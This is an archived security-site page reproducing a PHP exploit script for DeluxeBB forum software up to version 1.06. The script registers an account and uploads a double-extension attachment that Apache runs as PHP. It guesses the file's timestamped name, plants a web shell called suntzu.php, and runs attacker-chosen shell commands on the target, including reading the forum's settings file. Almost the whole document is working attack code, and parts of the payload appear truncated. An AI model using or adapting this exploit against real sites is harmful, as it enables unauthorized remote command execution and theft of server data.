Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web BBS :: etc :: b06-2255.htm

DeluxeBB <= v1.06 attachment mod_mime exploit



DeluxeBB <= v1.06 attachment mod_mime exploit
DeluxeBB <= v1.06 attachment mod_mime exploit



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\r\n";=0D 
echo "site: http://retrogod.altervista.org\r\n";=0D 
echo "tested & working against a fresh deluxebb installation\r\n\r\n";=0D
=0D
if ($argc<4) {=0D
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";=0D
echo "host:      target server (ip/hostname)\r\n";=0D
echo "path:      path to deluxebb\r\n";=0D
echo "cmd:       a shell command\r\n";=0D
echo "Options:\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /deluxebb/ cat ./../settings/info.php\r\n";=0D
echo "php ".$argv[0]." localhost /deluxebb/ ls -la -p81\r\n";=0D
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n\r\n";=0D
die;=0D
}=0D
=0D
/*explaination:=0D
=0D
  you can upload attachments with double extensions, ex.:=0D
=0D
  test.php.php.rar=0D
=0D
  file is renamed like this:=0D
=0D
  test.php.php-1147772503.ext=0D
=0D
  and copied to the files/ folder, as you can see, new filename is predictable...,=0D
  numbers are the result of time() php function, you have just to synchronize=0D
  clocks through Apache "Date" header...=0D
=0D
  It seems that Apache mod_mime module considers double-extension files like=0D
  this to be valid PHP files and runs the arbitrary code that has been uploaded,=0D
  actually on most versions you can do somethign like this:=0D
=0D
http://[target]/[path]/files/test.php.php-1147772503.ext?cmd=ls%20-la=0D 
                                 */=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
   $c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
   }=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
function make_seed()=0D
{=0D
   list($usec, $sec) = explode(' ', microtime());=0D
   return (float) $sec + ((float) $usec * 100000);=0D
}=0D
=0D
function greenwich_timestamp($response)=0D
{=0D
   $temp=explode("Date: ",$response);=0D
   $temp2=explode("\r\n",$temp[1]);=0D
   $is_now=$temp2[0];=0D
   $temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode(":",$temp[4]);=0D
   $hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];=0D
   $tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',=0D
   'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');=0D
   for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}=0D
   return mktime($hour,$min,$sec,$month,$day,$year);=0D
}=0D
=0D
function gmtime() {    // Get GM offset.=0D
   return time() - (int) date('Z');=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$cmd="";$port=80;$proxy="";=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P"))=0D
{$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
$cmd=urlencode($cmd);=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
echo "step 0 -> Check if suntzu.php is already installed\r\n";=0D
$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Cookie: cmd=".$cmd.";\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
if (strstr($html,"56789"))=0D
{=0D
    echo "Exploit succeeded...";=0D
    $temp=explode("56789",$html);=0D
    die("\r\n".$temp[1]."\r\n");=0D
}=0D
=0D
echo "step 0b -> Synchronize...\r\n";=0D
$difftime=0;=0D
//Unin epoch time by Apache "Date:" response header=0D
//it carries GMT time... sending HEAD request=0D
$packet ="HEAD / HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
if ((eregi("Date: ",$html)) and ($proxy==''))=0D
{=0D
$itstime=greenwich_timestamp($html);=0D
echo "target host Greenwich timestamp: ".$itstime."\r\n";=0D
$mytime=gmtime();=0D
echo "my greenwich timestamp: ".$mytime."\r\n";=0D
$difftime= $itstime-$mytime;=0D
echo "difftime: ".$difftime."\r\n";=0D
}=0D
else=0D
{=0D
echo "Unable to read \"Date\", assuming difftime = 0\r\n";=0D
}=0D
=0D
echo "step 1 -> Register...\r\n";=0D
srand(make_seed());=0D
$anumber = rand(1,99999);=0D
$data="name=suntzu".$anumber;=0D
$data.="&pass=suntzu";=0D
$data.="&pass2=suntzu";=0D
$data.="&email=suntzu".$anumber."%40fakemail.com";=0D
$data.="&hideemail=1";=0D
$data.="&languagex=English";=0D
$data.="&xthetimeoffset=2";=0D
$data.="&xthedateformat=d-m-Y";=0D
$data.="&xthetimeformat=24";=0D
$data.="&submit=Register";=0D
$packet ="POST ".$p."misc.php?sub=register HTTP/1.0\r\n";=0D
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
$packet.="User-Agent: Googlebot/2.1\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
sendpacketii($packet);=0D
$temp=explode("Set-Cookie: ",$html);=0D
$cookie="";=0D
for ($i=1; $i<=count($temp)-1; $i++)=0D
{=0D
$temp2=explode(" ",$temp[$i]);=0D
$cookie.=" ".$temp2[0];=0D
}=0D
if ($cookie=='') {=0D
         die("Unable to register...");=0D
    }=0D
else {=0D
         echo "cookie -> ".$cookie."\r\n";=0D
         }=0D
=0D
echo "step 2 -> Post a new thread with the evil attachment...\r\n";=0D
=0D
$attachment='=0D
");=0D
fclose($fp);=0D
chmod("suntzu.php",777);=0D
?>';=0D
=0D
$data='-----------------------------7d6ee3a7074a=0D
Content-Disposition: form-data; name="subject"=0D
=0D
Sun-Tzu, Art of War=0D
-----------------------------7d6ee3a7074a=0D
Content-Disposition: form-data; name="posticon"=0D
=0D
None=0D
-----------------------------7d6ee3a7074a=0D
Content-Disposition: form-data; name="disablesmilies"=0D
=0D
1=0D
-----------------------------7d6ee3a7074a=0D
Content-Disposition: form-data; name="fileupload"; filename="suntzu'.$anumber.'.php.php.rar"=0D
Content-Type: application/octet-stream=0D
=0D
'.$attachment.'=0D
-----------------------------7d6ee3a7074a=0D
Content-Disposition: form-data; name="MAX_FILE_SIZE"=0D
=0D
1048576=0D
-----------------------------7d6ee3a7074a=0D
Content-Disposition: form-data; name="what"=0D
=0D
ciao=0D
-----------------------------7d6ee3a7074a=0D
Content-Disposition: form-data; name="submit"=0D
=0D
Post=0D
-----------------------------7d6ee3a7074a--=0D
';=0D
=0D
$packet ="POST ".$p."newpost.php?sub=newthread&fid=1 HTTP/1.0\r\n";=0D
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n";=0D
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Cookie: ".$cookie."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
$packet.=$data;=0D
$mytime=time() + $difftime;=0D
sendpacketii($packet);=0D
sleep(2);=0D
=0D
/*=0D
file is renamed in this way:=0D
=0D
...=0D
$time = time(); //header.php, line 78=0D
...=0D
=0D
...=0D
$saveit = $settings['attachdir'] . $filename . '-' . $time . '.' . 'ext'; //newpost.php, line 218-219=0D
copy($fileupload['tmp_name'], $saveit);=0D
...                                 */=0D
=0D
$predict_time==0D
            array (=0D
             $mytime,=0D
             $mytime + 1,=0D
             $mytime + 2,=0D
             $mytime + 3,=0D
             $mytime + 4,=0D
             $mytime + 5,=0D
             $mytime + 6=0D
             );=0D
=0D
for ($i=0; $i<=count($predict_time)-1; $i++)=0D
{=0D
  $a=3+$i;=0D
  echo "step ".$a." -> trying with suntzu".$anumber.".php.php-".$predict_time[$i].".ext\r\n";=0D
  $packet ="GET ".$p."files/suntzu".$anumber.".php.php-".$predict_time[$i].".ext HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  sendpacketii($packet);=0D
=0D
  $packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Cookie: cmd=".$cmd.";\r\n";=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  sendpacketii($packet);=0D
  if (strstr($html,"56789"))=0D
  {=0D
    echo "Exploit succeeded...";=0D
    $temp=explode("56789",$html);=0D
    die("\r\n".$temp[1]."\r\n");=0D
  }=0D
}=0D
//if you are here...=0D
echo "Exploit failed...";=0D
?>=0D
=0D
=0D
original url: http://retrogod.altervista.org/deluxebb_106_xpl.html 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH